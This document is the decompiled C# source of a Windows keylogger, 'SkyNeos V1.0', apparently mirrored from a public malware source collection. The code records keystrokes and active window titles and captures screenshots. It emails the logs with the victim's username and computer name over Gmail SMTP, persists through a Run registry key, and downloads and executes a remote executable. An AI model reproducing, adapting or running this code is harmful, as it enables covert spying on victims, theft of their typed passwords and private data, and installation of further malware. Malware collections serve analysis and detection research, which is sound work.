mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-17 00:09:23 +00:00
f2ac1ece55
add
700 lines
19 KiB
C#
700 lines
19 KiB
C#
// Decompiled with JetBrains decompiler
|
|
// Type: LEThjJwJF
|
|
// Assembly: dfasdfasdfa, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
|
// MVID: 4CC4AEAF-CB32-40A7-93E4-1293140F4D9C
|
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.aqg-c67e985033bef3e2aef9ddea765a52d9924c3eaf56bd0f89fed02eca4dcc4ed2.exe
|
|
|
|
using Microsoft.VisualBasic;
|
|
using Microsoft.VisualBasic.CompilerServices;
|
|
using Microsoft.Win32;
|
|
using My;
|
|
using System;
|
|
using System.ComponentModel;
|
|
using System.Diagnostics;
|
|
using System.Drawing.Imaging;
|
|
using System.IO;
|
|
using System.Net;
|
|
using System.Net.Mail;
|
|
using System.Runtime.CompilerServices;
|
|
using System.Runtime.InteropServices;
|
|
using System.Threading;
|
|
using System.Windows.Forms;
|
|
|
|
[StandardModule]
|
|
internal sealed class LEThjJwJF
|
|
{
|
|
public static Mutex LBfEuNPwTuuGhr;
|
|
public static string jxjVBchppIcvKk = "KrvSGxBAr";
|
|
[AccessedThroughProperty("IsaTynXgGxhXII")]
|
|
private static GUlBzjdJZuXUZ _IsaTynXgGxhXII;
|
|
public static string vyRLXDeEXvPQWn;
|
|
public static string zcgrfBtxzmomgI;
|
|
public static string EoCOQxuJnJYDws;
|
|
public static string tukiwEOEDyaPnz;
|
|
public static Thread oLCEyJcnQskyYp;
|
|
public static string CybgAJgPgyekGj;
|
|
public static Process dmflrmsAYJCkEy;
|
|
[AccessedThroughProperty("IcVuCUlomdNiel")]
|
|
private static System.Windows.Forms.Timer _IcVuCUlomdNiel;
|
|
private const int dnJJcXJyIKwvch = 7;
|
|
private const int NGLvHhzbViIlua = 1;
|
|
private const int tbVEQBdxchQoWB = 0;
|
|
public static string OnoIUSzrQrxnjB;
|
|
public static string wOUEeKkNhzkzfY;
|
|
public static string gPcDbDdHZdNBAW;
|
|
public static int LgTTNCfFJcIQQi;
|
|
public static int xBQNbJjyATSFJC;
|
|
public static LEThjJwJF.TSysInhDjBcGFY rDdhrXNgElssiY;
|
|
public static string BaYPuOHJbyQTtv;
|
|
public static bool VkOzzkssvUfPYY;
|
|
public static bool uooJgorLSWGNWt;
|
|
public static bool iokNYhvntnbVgp;
|
|
public static string OJtpurEVdlZmdS;
|
|
public static string zTOTtDtokbvSrZ;
|
|
public static string frJeiPgDsdQUYu;
|
|
public static string VxlrZQcCfRrFnE;
|
|
public static int xoHdskvHibDTJh;
|
|
public static bool tUQLlIpXzFpQeJ;
|
|
|
|
static LEThjJwJF()
|
|
{
|
|
LEThjJwJF.IsaTynXgGxhXII = new GUlBzjdJZuXUZ();
|
|
LEThjJwJF.EoCOQxuJnJYDws = "VzWJrYnjU";
|
|
LEThjJwJF.tukiwEOEDyaPnz = "OghDDYNXd.exe";
|
|
LEThjJwJF.IcVuCUlomdNiel = new System.Windows.Forms.Timer();
|
|
LEThjJwJF.OnoIUSzrQrxnjB = "";
|
|
LEThjJwJF.wOUEeKkNhzkzfY = "";
|
|
LEThjJwJF.gPcDbDdHZdNBAW = "smtp.gmail.com";
|
|
LEThjJwJF.LgTTNCfFJcIQQi = 587;
|
|
LEThjJwJF.xBQNbJjyATSFJC = 0;
|
|
LEThjJwJF.rDdhrXNgElssiY = (LEThjJwJF.TSysInhDjBcGFY) 0;
|
|
LEThjJwJF.BaYPuOHJbyQTtv = "";
|
|
LEThjJwJF.VkOzzkssvUfPYY = false;
|
|
LEThjJwJF.uooJgorLSWGNWt = false;
|
|
LEThjJwJF.iokNYhvntnbVgp = false;
|
|
LEThjJwJF.OJtpurEVdlZmdS = "";
|
|
LEThjJwJF.zTOTtDtokbvSrZ = "";
|
|
LEThjJwJF.frJeiPgDsdQUYu = "Title";
|
|
LEThjJwJF.VxlrZQcCfRrFnE = "Message";
|
|
LEThjJwJF.xoHdskvHibDTJh = 0;
|
|
LEThjJwJF.tUQLlIpXzFpQeJ = true;
|
|
}
|
|
|
|
public static GUlBzjdJZuXUZ IsaTynXgGxhXII
|
|
{
|
|
get => LEThjJwJF._IsaTynXgGxhXII;
|
|
[MethodImpl(MethodImplOptions.Synchronized)] set
|
|
{
|
|
GUlBzjdJZuXUZ.xznKgAJnisfNwEventHandler ajnisfNwEventHandler = new GUlBzjdJZuXUZ.xznKgAJnisfNwEventHandler(LEThjJwJF.OJJjDKZdzRzsTI);
|
|
if (LEThjJwJF._IsaTynXgGxhXII != null)
|
|
GUlBzjdJZuXUZ.xznKgAJnisfNw -= ajnisfNwEventHandler;
|
|
LEThjJwJF._IsaTynXgGxhXII = value;
|
|
if (LEThjJwJF._IsaTynXgGxhXII == null)
|
|
return;
|
|
GUlBzjdJZuXUZ.xznKgAJnisfNw += ajnisfNwEventHandler;
|
|
}
|
|
}
|
|
|
|
public static System.Windows.Forms.Timer IcVuCUlomdNiel
|
|
{
|
|
get => LEThjJwJF._IcVuCUlomdNiel;
|
|
[MethodImpl(MethodImplOptions.Synchronized)] set
|
|
{
|
|
EventHandler eventHandler = new EventHandler(LEThjJwJF.eOZluvJzvJbKQp);
|
|
if (LEThjJwJF._IcVuCUlomdNiel != null)
|
|
LEThjJwJF._IcVuCUlomdNiel.Tick -= eventHandler;
|
|
LEThjJwJF._IcVuCUlomdNiel = value;
|
|
if (LEThjJwJF._IcVuCUlomdNiel == null)
|
|
return;
|
|
LEThjJwJF._IcVuCUlomdNiel.Tick += eventHandler;
|
|
}
|
|
}
|
|
|
|
[DllImport("kernel32.dll", EntryPoint = "GetConsoleWindow", CharSet = CharSet.Ansi, SetLastError = true)]
|
|
private static extern IntPtr ECEcSDPKNlQvLa();
|
|
|
|
[DllImport("user32.dll", EntryPoint = "ShowWindow", CharSet = CharSet.Ansi, SetLastError = true)]
|
|
private static extern int vEFEvQdUmPZzjh(IntPtr oEdTzAmaPJUJpF, int sVttGxniuprKER);
|
|
|
|
[DllImport("user32.dll", EntryPoint = "GetForegroundWindow", CharSet = CharSet.Ansi, SetLastError = true)]
|
|
private static extern int RXObLtJLQodkGr();
|
|
|
|
[DllImport("user32.dll", EntryPoint = "GetWindowTextA", CharSet = CharSet.Ansi, SetLastError = true)]
|
|
private static extern int WJGkBFPXAviVGL(
|
|
int oEdTzAmaPJUJpF,
|
|
[MarshalAs(UnmanagedType.VBByRefStr)] ref string cwppQcuhISQaZx,
|
|
int kJdbfAUxxSTCWk);
|
|
|
|
private static string AggalwHDhLcFHb()
|
|
{
|
|
string cwppQcuhISQaZx = new string(char.MinValue, 100);
|
|
LEThjJwJF.WJGkBFPXAviVGL(LEThjJwJF.RXObLtJLQodkGr(), ref cwppQcuhISQaZx, 100);
|
|
return cwppQcuhISQaZx.Substring(0, checked (Strings.InStr(cwppQcuhISQaZx, "\0") - 1));
|
|
}
|
|
|
|
public static void YXTfStbJfxcWgT(string syZuOZdVSbQJDx, string akvoUusLQaNmwv)
|
|
{
|
|
RegistryKey subKey = Registry.CurrentUser.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run");
|
|
subKey.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
|
|
subKey.SetValue(syZuOZdVSbQJDx, (object) akvoUusLQaNmwv);
|
|
}
|
|
|
|
public static void ogeDJGkbRGRssz(string syZuOZdVSbQJDx)
|
|
{
|
|
RegistryKey subKey = Registry.CurrentUser.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run");
|
|
subKey.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
|
|
subKey.DeleteValue(syZuOZdVSbQJDx, false);
|
|
}
|
|
|
|
public static void TlWvTrEsBCNDcF(string NgpLwlLuuhcRjj)
|
|
{
|
|
try
|
|
{
|
|
Mutex.OpenExisting(NgpLwlLuuhcRjj);
|
|
ProjectData.EndApp();
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
ProjectData.SetProjectError(ex);
|
|
LEThjJwJF.LBfEuNPwTuuGhr = new Mutex(false, NgpLwlLuuhcRjj);
|
|
ProjectData.ClearProjectError();
|
|
}
|
|
}
|
|
|
|
public static string JnXhPZhzwjNJTY(int gQGSyEvtnLQcVN, int YEUyahwovERJrc)
|
|
{
|
|
Random random = new Random();
|
|
string str1 = (string) null;
|
|
string str2 = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPLKHJJGFDSAZXCVBNM";
|
|
int num1 = random.Next(checked (gQGSyEvtnLQcVN + 1), YEUyahwovERJrc);
|
|
int num2 = 1;
|
|
while (num2 <= num1)
|
|
{
|
|
int index = checked ((int) Math.Round((double) unchecked (Conversion.Int((float) checked (str2.Length - 2) * VBMath.Rnd()) + 1f)));
|
|
str1 += Conversions.ToString(str2[index]);
|
|
checked { ++num2; }
|
|
}
|
|
return str1;
|
|
}
|
|
|
|
private static void OJJjDKZdzRzsTI(string otIDIvaQBJxmEP)
|
|
{
|
|
if (Operators.CompareString(LEThjJwJF.zcgrfBtxzmomgI, LEThjJwJF.AggalwHDhLcFHb(), false) != 0)
|
|
{
|
|
LEThjJwJF.vyRLXDeEXvPQWn = LEThjJwJF.vyRLXDeEXvPQWn + "\r\n[TITLE: " + LEThjJwJF.AggalwHDhLcFHb() + "]:\r\n";
|
|
LEThjJwJF.zcgrfBtxzmomgI = LEThjJwJF.AggalwHDhLcFHb();
|
|
Console.WriteLine("\r\n[TITLE: " + LEThjJwJF.AggalwHDhLcFHb() + "]:");
|
|
}
|
|
LEThjJwJF.vyRLXDeEXvPQWn += otIDIvaQBJxmEP;
|
|
Console.Write(otIDIvaQBJxmEP);
|
|
}
|
|
|
|
private static void eOZluvJzvJbKQp(object hyBhUjSkGpjtQn, EventArgs YekikJUBDRYaXk)
|
|
{
|
|
Console.WriteLine("A new log is sending...");
|
|
new Thread((ParameterizedThreadStart) (a0 => LEThjJwJF.WTnexoOosxyULb(Conversions.ToString(a0))))
|
|
{
|
|
IsBackground = true
|
|
}.Start((object) LEThjJwJF.vyRLXDeEXvPQWn);
|
|
LEThjJwJF.vyRLXDeEXvPQWn = "";
|
|
}
|
|
|
|
private static void WTnexoOosxyULb(string vlLsrZrnHJFsnA)
|
|
{
|
|
label_0:
|
|
int num1;
|
|
int num2;
|
|
try
|
|
{
|
|
ProjectData.ClearProjectError();
|
|
num1 = 1;
|
|
label_1:
|
|
int num3 = 2;
|
|
string str = Path.GetTempPath() + "\\" + LEThjJwJF.JnXhPZhzwjNJTY(5, 10) + ".png";
|
|
label_2:
|
|
num3 = 3;
|
|
if (!LEThjJwJF.VkOzzkssvUfPYY)
|
|
goto label_7;
|
|
label_3:
|
|
num3 = 4;
|
|
SRBxUiHKAFOgn.JDZnglJSpvkpO();
|
|
label_4:
|
|
num3 = 5;
|
|
if (!System.IO.File.Exists(str))
|
|
goto label_6;
|
|
label_5:
|
|
num3 = 6;
|
|
System.IO.File.Delete(str);
|
|
label_6:
|
|
num3 = 8;
|
|
SRBxUiHKAFOgn.EJfUQWzljbDzy.Save(str, ImageFormat.Png);
|
|
label_7:
|
|
num3 = 10;
|
|
MailMessage message = new MailMessage();
|
|
label_8:
|
|
num3 = 11;
|
|
SmtpClient smtpClient1 = new SmtpClient(LEThjJwJF.gPcDbDdHZdNBAW);
|
|
label_9:
|
|
num3 = 12;
|
|
SmtpClient smtpClient2 = smtpClient1;
|
|
label_10:
|
|
num3 = 13;
|
|
smtpClient2.EnableSsl = true;
|
|
label_11:
|
|
num3 = 14;
|
|
smtpClient2.Credentials = (ICredentialsByHost) new NetworkCredential(LEThjJwJF.OnoIUSzrQrxnjB, LEThjJwJF.wOUEeKkNhzkzfY);
|
|
label_12:
|
|
num3 = 15;
|
|
smtpClient2.Port = LEThjJwJF.LgTTNCfFJcIQQi;
|
|
label_13:
|
|
smtpClient2 = (SmtpClient) null;
|
|
label_14:
|
|
num3 = 17;
|
|
MailMessage mailMessage = message;
|
|
label_15:
|
|
num3 = 18;
|
|
mailMessage.To.Add(LEThjJwJF.OnoIUSzrQrxnjB);
|
|
label_16:
|
|
num3 = 19;
|
|
mailMessage.From = new MailAddress(LEThjJwJF.OnoIUSzrQrxnjB);
|
|
label_17:
|
|
num3 = 20;
|
|
mailMessage.Subject = LEThjJwJF.BaYPuOHJbyQTtv;
|
|
label_18:
|
|
num3 = 21;
|
|
mailMessage.Body = vlLsrZrnHJFsnA;
|
|
label_19:
|
|
num3 = 22;
|
|
if (!LEThjJwJF.VkOzzkssvUfPYY)
|
|
goto label_21;
|
|
label_20:
|
|
num3 = 23;
|
|
mailMessage.Attachments.Add(new Attachment(str));
|
|
label_21:
|
|
num3 = 25;
|
|
if (!LEThjJwJF.iokNYhvntnbVgp)
|
|
goto label_23;
|
|
label_22:
|
|
num3 = 26;
|
|
mailMessage.Body = "Victim Username: " + LEThjJwJF.QlWcgtIzEAvYxr().ToString() + "\r\n" + mailMessage.Body;
|
|
label_23:
|
|
num3 = 28;
|
|
if (!LEThjJwJF.uooJgorLSWGNWt)
|
|
goto label_25;
|
|
label_24:
|
|
num3 = 29;
|
|
mailMessage.Body = "Victim Computer Name: " + MyProject.Computer.Name + "\r\n" + mailMessage.Body;
|
|
label_25:
|
|
mailMessage = (MailMessage) null;
|
|
label_26:
|
|
num3 = 32;
|
|
smtpClient1.Send(message);
|
|
label_27:
|
|
num3 = 33;
|
|
Console.WriteLine("##### Logs have been sent! #####");
|
|
goto label_34;
|
|
label_29:
|
|
num2 = num3;
|
|
switch (num1)
|
|
{
|
|
case 1:
|
|
int num4 = num2 + 1;
|
|
num2 = 0;
|
|
switch (num4)
|
|
{
|
|
case 1:
|
|
goto label_0;
|
|
case 2:
|
|
goto label_1;
|
|
case 3:
|
|
goto label_2;
|
|
case 4:
|
|
goto label_3;
|
|
case 5:
|
|
goto label_4;
|
|
case 6:
|
|
goto label_5;
|
|
case 7:
|
|
case 8:
|
|
goto label_6;
|
|
case 9:
|
|
case 10:
|
|
goto label_7;
|
|
case 11:
|
|
goto label_8;
|
|
case 12:
|
|
goto label_9;
|
|
case 13:
|
|
goto label_10;
|
|
case 14:
|
|
goto label_11;
|
|
case 15:
|
|
goto label_12;
|
|
case 16:
|
|
goto label_13;
|
|
case 17:
|
|
goto label_14;
|
|
case 18:
|
|
goto label_15;
|
|
case 19:
|
|
goto label_16;
|
|
case 20:
|
|
goto label_17;
|
|
case 21:
|
|
goto label_18;
|
|
case 22:
|
|
goto label_19;
|
|
case 23:
|
|
goto label_20;
|
|
case 24:
|
|
case 25:
|
|
goto label_21;
|
|
case 26:
|
|
goto label_22;
|
|
case 27:
|
|
case 28:
|
|
goto label_23;
|
|
case 29:
|
|
goto label_24;
|
|
case 30:
|
|
case 31:
|
|
goto label_25;
|
|
case 32:
|
|
goto label_26;
|
|
case 33:
|
|
goto label_27;
|
|
case 34:
|
|
goto label_34;
|
|
}
|
|
break;
|
|
}
|
|
}
|
|
catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0)
|
|
{
|
|
ProjectData.SetProjectError(ex);
|
|
goto label_29;
|
|
}
|
|
throw ProjectData.CreateProjectError(-2146828237);
|
|
label_34:
|
|
if (num2 == 0)
|
|
return;
|
|
ProjectData.ClearProjectError();
|
|
}
|
|
|
|
private static void UkhPcxsAocURHi()
|
|
{
|
|
label_0:
|
|
int num1;
|
|
int num2;
|
|
try
|
|
{
|
|
ProjectData.ClearProjectError();
|
|
num1 = 1;
|
|
label_1:
|
|
int num3 = 2;
|
|
WebClient webClient = new WebClient();
|
|
label_2:
|
|
num3 = 3;
|
|
Uri address = new Uri(LEThjJwJF.OJtpurEVdlZmdS);
|
|
label_3:
|
|
num3 = 4;
|
|
LEThjJwJF.CybgAJgPgyekGj = Path.GetTempPath() + "\\" + LEThjJwJF.JnXhPZhzwjNJTY(5, 10) + ".exe";
|
|
label_4:
|
|
num3 = 5;
|
|
webClient.DownloadFileCompleted += new AsyncCompletedEventHandler(LEThjJwJF.tiBDFNfOUBvrAp);
|
|
label_5:
|
|
num3 = 6;
|
|
webClient.DownloadFileAsync(address, LEThjJwJF.CybgAJgPgyekGj);
|
|
goto label_12;
|
|
label_7:
|
|
num2 = num3;
|
|
switch (num1)
|
|
{
|
|
case 1:
|
|
int num4 = num2 + 1;
|
|
num2 = 0;
|
|
switch (num4)
|
|
{
|
|
case 1:
|
|
goto label_0;
|
|
case 2:
|
|
goto label_1;
|
|
case 3:
|
|
goto label_2;
|
|
case 4:
|
|
goto label_3;
|
|
case 5:
|
|
goto label_4;
|
|
case 6:
|
|
goto label_5;
|
|
case 7:
|
|
goto label_12;
|
|
}
|
|
break;
|
|
}
|
|
}
|
|
catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0)
|
|
{
|
|
ProjectData.SetProjectError(ex);
|
|
goto label_7;
|
|
}
|
|
throw ProjectData.CreateProjectError(-2146828237);
|
|
label_12:
|
|
if (num2 == 0)
|
|
return;
|
|
ProjectData.ClearProjectError();
|
|
}
|
|
|
|
private static void tiBDFNfOUBvrAp(object hyBhUjSkGpjtQn, AsyncCompletedEventArgs YekikJUBDRYaXk)
|
|
{
|
|
label_0:
|
|
int num1;
|
|
int num2;
|
|
try
|
|
{
|
|
ProjectData.ClearProjectError();
|
|
num1 = 1;
|
|
label_1:
|
|
int num3 = 2;
|
|
Process process = new Process();
|
|
label_2:
|
|
num3 = 3;
|
|
ProcessStartInfo processStartInfo = process.StartInfo;
|
|
label_3:
|
|
num3 = 4;
|
|
processStartInfo.FileName = LEThjJwJF.CybgAJgPgyekGj;
|
|
label_4:
|
|
num3 = 5;
|
|
processStartInfo.UseShellExecute = true;
|
|
label_5:
|
|
processStartInfo = (ProcessStartInfo) null;
|
|
label_6:
|
|
num3 = 7;
|
|
process.Start();
|
|
goto label_13;
|
|
label_8:
|
|
num2 = num3;
|
|
switch (num1)
|
|
{
|
|
case 1:
|
|
int num4 = num2 + 1;
|
|
num2 = 0;
|
|
switch (num4)
|
|
{
|
|
case 1:
|
|
goto label_0;
|
|
case 2:
|
|
goto label_1;
|
|
case 3:
|
|
goto label_2;
|
|
case 4:
|
|
goto label_3;
|
|
case 5:
|
|
goto label_4;
|
|
case 6:
|
|
goto label_5;
|
|
case 7:
|
|
goto label_6;
|
|
case 8:
|
|
goto label_13;
|
|
}
|
|
break;
|
|
}
|
|
}
|
|
catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0)
|
|
{
|
|
ProjectData.SetProjectError(ex);
|
|
goto label_8;
|
|
}
|
|
throw ProjectData.CreateProjectError(-2146828237);
|
|
label_13:
|
|
if (num2 == 0)
|
|
return;
|
|
ProjectData.ClearProjectError();
|
|
}
|
|
|
|
private static string QlWcgtIzEAvYxr()
|
|
{
|
|
string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
|
|
string str = folderPath.Remove(folderPath.LastIndexOf("\\"));
|
|
return str.Substring(checked (str.LastIndexOf("\\") + 1));
|
|
}
|
|
|
|
[STAThread]
|
|
public static void Main()
|
|
{
|
|
label_0:
|
|
int num1;
|
|
int num2;
|
|
try
|
|
{
|
|
ProjectData.ClearProjectError();
|
|
num1 = 1;
|
|
label_1:
|
|
int num3 = 2;
|
|
LEThjJwJF.TlWvTrEsBCNDcF(LEThjJwJF.jxjVBchppIcvKk);
|
|
label_2:
|
|
num3 = 3;
|
|
System.Windows.Forms.Timer timer = LEThjJwJF.IcVuCUlomdNiel;
|
|
label_3:
|
|
num3 = 4;
|
|
timer.Interval = checked (LEThjJwJF.xBQNbJjyATSFJC * int.Parse(Conversions.ToString(unchecked ((int) LEThjJwJF.rDdhrXNgElssiY))));
|
|
label_4:
|
|
num3 = 5;
|
|
timer.Start();
|
|
label_5:
|
|
timer = (System.Windows.Forms.Timer) null;
|
|
label_6:
|
|
num3 = 7;
|
|
LEThjJwJF.oLCEyJcnQskyYp = new Thread(new ThreadStart(LEThjJwJF.UkhPcxsAocURHi));
|
|
label_7:
|
|
num3 = 8;
|
|
Thread thread = LEThjJwJF.oLCEyJcnQskyYp;
|
|
label_8:
|
|
num3 = 9;
|
|
thread.IsBackground = true;
|
|
label_9:
|
|
num3 = 10;
|
|
thread.Start();
|
|
label_10:
|
|
thread = (Thread) null;
|
|
label_11:
|
|
num3 = 12;
|
|
LEThjJwJF.dmflrmsAYJCkEy = new Process();
|
|
label_12:
|
|
num3 = 13;
|
|
Process process = LEThjJwJF.dmflrmsAYJCkEy;
|
|
label_13:
|
|
num3 = 14;
|
|
process.StartInfo.FileName = LEThjJwJF.zTOTtDtokbvSrZ;
|
|
label_14:
|
|
num3 = 15;
|
|
process.StartInfo.UseShellExecute = true;
|
|
label_15:
|
|
num3 = 16;
|
|
process.Start();
|
|
label_16:
|
|
process = (Process) null;
|
|
label_17:
|
|
num3 = 18;
|
|
if (!LEThjJwJF.tUQLlIpXzFpQeJ)
|
|
goto label_19;
|
|
label_18:
|
|
num3 = 19;
|
|
int num4 = (int) Interaction.MsgBox((object) LEThjJwJF.VxlrZQcCfRrFnE, (MsgBoxStyle) LEThjJwJF.xoHdskvHibDTJh, (object) LEThjJwJF.frJeiPgDsdQUYu);
|
|
label_19:
|
|
num3 = 21;
|
|
Console.WriteLine("SkyNeos V1.0 Keylogger Engine Started Successfully!");
|
|
label_20:
|
|
num3 = 22;
|
|
string str = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData);
|
|
label_21:
|
|
num3 = 23;
|
|
MyProject.Computer.FileSystem.CreateDirectory(str + "\\" + LEThjJwJF.EoCOQxuJnJYDws);
|
|
label_22:
|
|
num3 = 24;
|
|
str = str + "\\" + LEThjJwJF.EoCOQxuJnJYDws + "\\" + LEThjJwJF.tukiwEOEDyaPnz;
|
|
label_23:
|
|
num3 = 25;
|
|
MyProject.Computer.FileSystem.CopyFile(Application.ExecutablePath, str, true);
|
|
label_24:
|
|
num3 = 26;
|
|
LEThjJwJF.YXTfStbJfxcWgT(LEThjJwJF.EoCOQxuJnJYDws, str);
|
|
label_25:
|
|
num3 = 27;
|
|
LEThjJwJF.IsaTynXgGxhXII.ylfbkIvDnbUPN();
|
|
label_26:
|
|
num3 = 28;
|
|
Application.Run();
|
|
goto label_33;
|
|
label_28:
|
|
num2 = num3;
|
|
switch (num1)
|
|
{
|
|
case 1:
|
|
int num5 = num2 + 1;
|
|
num2 = 0;
|
|
switch (num5)
|
|
{
|
|
case 1:
|
|
goto label_0;
|
|
case 2:
|
|
goto label_1;
|
|
case 3:
|
|
goto label_2;
|
|
case 4:
|
|
goto label_3;
|
|
case 5:
|
|
goto label_4;
|
|
case 6:
|
|
goto label_5;
|
|
case 7:
|
|
goto label_6;
|
|
case 8:
|
|
goto label_7;
|
|
case 9:
|
|
goto label_8;
|
|
case 10:
|
|
goto label_9;
|
|
case 11:
|
|
goto label_10;
|
|
case 12:
|
|
goto label_11;
|
|
case 13:
|
|
goto label_12;
|
|
case 14:
|
|
goto label_13;
|
|
case 15:
|
|
goto label_14;
|
|
case 16:
|
|
goto label_15;
|
|
case 17:
|
|
goto label_16;
|
|
case 18:
|
|
goto label_17;
|
|
case 19:
|
|
goto label_18;
|
|
case 20:
|
|
case 21:
|
|
goto label_19;
|
|
case 22:
|
|
goto label_20;
|
|
case 23:
|
|
goto label_21;
|
|
case 24:
|
|
goto label_22;
|
|
case 25:
|
|
goto label_23;
|
|
case 26:
|
|
goto label_24;
|
|
case 27:
|
|
goto label_25;
|
|
case 28:
|
|
goto label_26;
|
|
case 29:
|
|
goto label_33;
|
|
}
|
|
break;
|
|
}
|
|
}
|
|
catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0)
|
|
{
|
|
ProjectData.SetProjectError(ex);
|
|
goto label_28;
|
|
}
|
|
throw ProjectData.CreateProjectError(-2146828237);
|
|
label_33:
|
|
if (num2 == 0)
|
|
return;
|
|
ProjectData.ClearProjectError();
|
|
}
|
|
|
|
public enum TSysInhDjBcGFY
|
|
{
|
|
DjvWwOByJrBNLL = 1,
|
|
apBLZiogekZfLD = 1000, // 0x000003E8
|
|
yFFsuUtUnVajYf = 60000, // 0x0000EA60
|
|
jywVHvnnScKxxf = 3600000, // 0x0036EE80
|
|
}
|
|
}
|